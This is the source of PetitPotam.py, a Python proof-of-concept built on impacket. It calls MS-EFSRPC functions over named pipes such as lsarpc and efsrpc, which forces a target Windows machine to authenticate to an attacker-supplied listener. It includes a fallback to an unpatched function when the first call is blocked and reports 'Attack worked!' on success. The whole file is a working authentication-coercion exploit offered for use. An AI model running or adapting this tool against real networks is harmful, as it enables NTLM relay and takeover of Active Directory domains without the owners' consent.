PetitPotam.py (16820B)
1 #!/usr/bin/env python 2 # 3 # Author: GILLES Lionel aka topotam (@topotam77) 4 # 5 # Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends! 6 # "Most of" the code stolen from dementor.py from @3xocyte ;) 7 8 9 import sys 10 import argparse 11 12 from impacket import system_errors 13 from impacket.dcerpc.v5 import transport 14 from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT 15 from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR 16 from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY 17 from impacket.uuid import uuidtup_to_bin 18 19 20 show_banner = ''' 21 22 ___ _ _ _ ___ _ 23 | _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __ 24 | _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \ 25 _|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_| 26 _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 27 "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 28 29 PoC to elicit machine account authentication via some MS-EFSRPC functions 30 by topotam (@topotam77) 31 32 Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN 33 34 35 ''' 36 37 class DCERPCSessionError(DCERPCException): 38 def __init__(self, error_string=None, error_code=None, packet=None): 39 DCERPCException.__init__(self, error_string, error_code, packet) 40 41 def __str__( self ): 42 key = self.error_code 43 if key in system_errors.ERROR_MESSAGES: 44 error_msg_short = system_errors.ERROR_MESSAGES[key][0] 45 error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 46 return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 47 else: 48 return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code 49 50 51 ################################################################################ 52 # STRUCTURES 53 ################################################################################ 54 class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): 55 align = 1 56 structure = ( 57 ('Data', '20s'), 58 ) 59 class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): 60 align = 1 61 structure = ( 62 ('Data', '20s'), 63 ) 64 class EFS_EXIM_PIPE(NDRSTRUCT): 65 align = 1 66 structure = ( 67 ('Data', ':'), 68 ) 69 class EFS_HASH_BLOB(NDRSTRUCT): 70 71 structure = ( 72 ('Data', DWORD), 73 ('cbData', PCHAR), 74 ) 75 class EFS_RPC_BLOB(NDRSTRUCT): 76 77 structure = ( 78 ('Data', DWORD), 79 ('cbData', PCHAR), 80 ) 81 82 class EFS_CERTIFICATE_BLOB(NDRSTRUCT): 83 structure = ( 84 ('Type', DWORD), 85 ('Data', DWORD), 86 ('cbData', PCHAR), 87 ) 88 class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT): 89 structure = ( 90 ('Lenght', DWORD), 91 ('SID', RPC_SID), 92 ('Hash', EFS_HASH_BLOB), 93 ('Display', LPWSTR), 94 ) 95 class ENCRYPTION_CERTIFICATE(NDRSTRUCT): 96 structure = ( 97 ('Lenght', DWORD), 98 ('SID', RPC_SID), 99 ('Hash', EFS_CERTIFICATE_BLOB), 100 101 ) 102 class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT): 103 align = 1 104 structure = ( 105 ('Cert', DWORD), 106 ('Users', ENCRYPTION_CERTIFICATE_HASH), 107 ) 108 class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT): 109 structure = ( 110 ('Type', DWORD), 111 ('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST), 112 ('Certif', ENCRYPTION_CERTIFICATE), 113 ('Blob', EFS_RPC_BLOB), 114 ) 115 class EFS_RPC_BLOB(NDRSTRUCT): 116 structure = ( 117 ('Data', DWORD), 118 ('cbData', PCHAR), 119 ) 120 class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT): 121 align = 1 122 structure = ( 123 ('Data', ':'), 124 ) 125 126 ################################################################################ 127 # RPC CALLS 128 ################################################################################ 129 class EfsRpcOpenFileRaw(NDRCALL): 130 opnum = 0 131 structure = ( 132 ('fileName', WSTR), 133 ('Flag', ULONG), 134 ) 135 136 class EfsRpcOpenFileRawResponse(NDRCALL): 137 structure = ( 138 ('hContext', EXIMPORT_CONTEXT_HANDLE), 139 ('ErrorCode', ULONG), 140 ) 141 class EfsRpcEncryptFileSrv(NDRCALL): 142 opnum = 4 143 structure = ( 144 ('FileName', WSTR), 145 ) 146 147 class EfsRpcEncryptFileSrvResponse(NDRCALL): 148 structure = ( 149 ('ErrorCode', ULONG), 150 ) 151 class EfsRpcDecryptFileSrv(NDRCALL): 152 opnum = 5 153 structure = ( 154 ('FileName', WSTR), 155 ('Flag', ULONG), 156 ) 157 158 class EfsRpcDecryptFileSrvResponse(NDRCALL): 159 structure = ( 160 ('ErrorCode', ULONG), 161 ) 162 class EfsRpcQueryUsersOnFile(NDRCALL): 163 opnum = 6 164 structure = ( 165 ('FileName', WSTR), 166 167 ) 168 class EfsRpcQueryUsersOnFileResponse(NDRCALL): 169 structure = ( 170 ('ErrorCode', ULONG), 171 ) 172 class EfsRpcQueryRecoveryAgents(NDRCALL): 173 opnum = 7 174 structure = ( 175 ('FileName', WSTR), 176 177 ) 178 class EfsRpcQueryRecoveryAgentsResponse(NDRCALL): 179 structure = ( 180 ('ErrorCode', ULONG), 181 ) 182 class EfsRpcRemoveUsersFromFile(NDRCALL): 183 opnum = 8 184 structure = ( 185 ('FileName', WSTR), 186 ('Users', ENCRYPTION_CERTIFICATE_HASH_LIST) 187 188 ) 189 class EfsRpcRemoveUsersFromFileResponse(NDRCALL): 190 structure = ( 191 ('ErrorCode', ULONG), 192 ) 193 class EfsRpcAddUsersToFile(NDRCALL): 194 opnum = 9 195 structure = ( 196 ('FileName', WSTR), 197 ('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST) 198 199 ) 200 class EfsRpcAddUsersToFileResponse(NDRCALL): 201 structure = ( 202 ('ErrorCode', ULONG), 203 ) 204 class EfsRpcFileKeyInfo(NDRCALL): 205 opnum = 12 206 structure = ( 207 ('FileName', WSTR), 208 ('infoClass', DWORD), 209 ) 210 class EfsRpcFileKeyInfoResponse(NDRCALL): 211 structure = ( 212 ('ErrorCode', ULONG), 213 ) 214 class EfsRpcDuplicateEncryptionInfoFile(NDRCALL): 215 opnum = 13 216 structure = ( 217 ('SrcFileName', WSTR), 218 ('DestFileName', WSTR), 219 ('dwCreationDisposition', DWORD), 220 ('dwAttributes', DWORD), 221 ('RelativeSD', EFS_RPC_BLOB), 222 ('bInheritHandle', BOOL), 223 ) 224 225 class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL): 226 structure = ( 227 ('ErrorCode', ULONG), 228 ) 229 class EfsRpcAddUsersToFileEx(NDRCALL): 230 opnum = 15 231 structure = ( 232 ('dwFlags', DWORD), 233 ('Reserved', EFS_RPC_BLOB), 234 ('FileName', WSTR), 235 ('dwAttributes', DWORD), 236 ('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST), 237 ) 238 239 class EfsRpcAddUsersToFileExResponse(NDRCALL): 240 structure = ( 241 ('ErrorCode', ULONG), 242 ) 243 class EfsRpcFileKeyInfoEx(NDRCALL): 244 opnum = 16 245 structure = ( 246 ('dwFileKeyInfoFlags', DWORD), 247 ('Reserved', EFS_RPC_BLOB), 248 ('FileName', WSTR), 249 ('InfoClass', DWORD), 250 ) 251 class EfsRpcFileKeyInfoExResponse(NDRCALL): 252 structure = ( 253 ('ErrorCode', ULONG), 254 ) 255 class EfsRpcGetEncryptedFileMetadata(NDRCALL): 256 opnum = 18 257 structure = ( 258 ('FileName', WSTR), 259 ) 260 class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL): 261 structure = ( 262 ('ErrorCode', ULONG), 263 ) 264 class EfsRpcSetEncryptedFileMetadata(NDRCALL): 265 opnum = 19 266 structure = ( 267 ('FileName', WSTR), 268 ('OldEfsStreamBlob', EFS_RPC_BLOB), 269 ('NewEfsStreamBlob', EFS_RPC_BLOB), 270 ('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE), 271 ) 272 class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL): 273 structure = ( 274 ('ErrorCode', ULONG), 275 ) 276 class EfsRpcEncryptFileExSrv(NDRCALL): 277 opnum = 21 278 structure = ( 279 ('FileName', WSTR), 280 ('ProtectorDescriptor', WSTR), 281 ('Flags', ULONG), 282 ) 283 class EfsRpcEncryptFileExSrvResponse(NDRCALL): 284 structure = ( 285 ('ErrorCode', ULONG), 286 ) 287 #class EfsRpcQueryProtectors(NDRCALL): 288 # opnum = 21 289 # structure = ( 290 # ('FileName', WSTR), 291 # ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST), 292 # ) 293 #class EfsRpcQueryProtectorsResponse(NDRCALL): 294 # structure = ( 295 # ('ErrorCode', ULONG), 296 # ) 297 298 ################################################################################ 299 # OPNUMs and their corresponding structures 300 ################################################################################ 301 OPNUMS = { 302 0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse), 303 4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse), 304 5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse), 305 6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse), 306 7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse), 307 8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse), 308 9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse), 309 12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse), 310 13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse), 311 15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse), 312 16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse), 313 18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse), 314 19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse), 315 21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse), 316 # 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse), 317 } 318 319 class CoerceAuth(): 320 def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp): 321 binding_params = { 322 'lsarpc': { 323 'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target, 324 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 325 }, 326 'efsr': { 327 'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target, 328 'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0') 329 }, 330 'samr': { 331 'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target, 332 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 333 }, 334 'lsass': { 335 'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target, 336 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 337 }, 338 'netlogon': { 339 'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target, 340 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 341 }, 342 } 343 rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding']) 344 if hasattr(rpctransport, 'set_credentials'): 345 rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) 346 347 if doKerberos: 348 rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) 349 if targetIp: 350 rpctransport.setRemoteHost(targetIp) 351 352 dce = rpctransport.get_dce_rpc() 353 dce.set_auth_type(RPC_C_AUTHN_WINNT) 354 dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 355 print("[-] Connecting to %s" % binding_params[pipe]['stringBinding']) 356 try: 357 dce.connect() 358 except Exception as e: 359 print("Something went wrong, check error status => %s" % str(e)) 360 #sys.exit() 361 return 362 print("[+] Connected!") 363 print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0]) 364 try: 365 dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR'])) 366 except Exception as e: 367 print("Something went wrong, check error status => %s" % str(e)) 368 #sys.exit() 369 return 370 print("[+] Successfully bound!") 371 return dce 372 373 def EfsRpcOpenFileRaw(self, dce, listener): 374 print("[-] Sending EfsRpcOpenFileRaw!") 375 try: 376 request = EfsRpcOpenFileRaw() 377 request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener 378 request['Flag'] = 0 379 #request.dump() 380 resp = dce.request(request) 381 382 except Exception as e: 383 if str(e).find('ERROR_BAD_NETPATH') >= 0: 384 print('[+] Got expected ERROR_BAD_NETPATH exception!!') 385 print('[+] Attack worked!') 386 #sys.exit() 387 return None 388 if str(e).find('rpc_s_access_denied') >= 0: 389 print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!') 390 print('[+] OK! Using unpatched function!') 391 print("[-] Sending EfsRpcEncryptFileSrv!") 392 try: 393 request = EfsRpcEncryptFileSrv() 394 request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener 395 resp = dce.request(request) 396 except Exception as e: 397 if str(e).find('ERROR_BAD_NETPATH') >= 0: 398 print('[+] Got expected ERROR_BAD_NETPATH exception!!') 399 print('[+] Attack worked!') 400 pass 401 else: 402 print("Something went wrong, check error status => %s" % str(e)) 403 return None 404 #sys.exit() 405 406 else: 407 print("Something went wrong, check error status => %s" % str(e)) 408 return None 409 #sys.exit() 410 411 def main(): 412 parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()") 413 parser.add_argument('-u', '--username', action="store", default='', help='valid username') 414 parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)') 415 parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name') 416 parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)') 417 418 parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 419 parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 420 '(KRB5CCNAME) based on target parameters. If valid credentials ' 421 'cannot be found, it will use the ones specified in the command ' 422 'line') 423 parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter') 424 parser.add_argument('-target-ip', action='store', metavar="ip address", 425 help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 426 'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it') 427 428 parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all') 429 parser.add_argument('listener', help='ip address or hostname of listener') 430 parser.add_argument('target', help='ip address or hostname of target') 431 options = parser.parse_args() 432 433 if options.hashes is not None: 434 lmhash, nthash = options.hashes.split(':') 435 else: 436 lmhash = '' 437 nthash = '' 438 439 print(show_banner) 440 441 if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True: 442 from getpass import getpass 443 options.password = getpass("Password:") 444 445 plop = CoerceAuth() 446 447 if options.pipe == "all": 448 all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass'] 449 else: 450 all_pipes = [options.pipe] 451 452 for all_pipe in all_pipes: 453 print("Trying pipe", all_pipe) 454 dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip) 455 if dce is not None: 456 plop.EfsRpcOpenFileRaw(dce, options.listener) 457 dce.disconnect() 458 sys.exit() 459 460 if __name__ == '__main__': 461 main()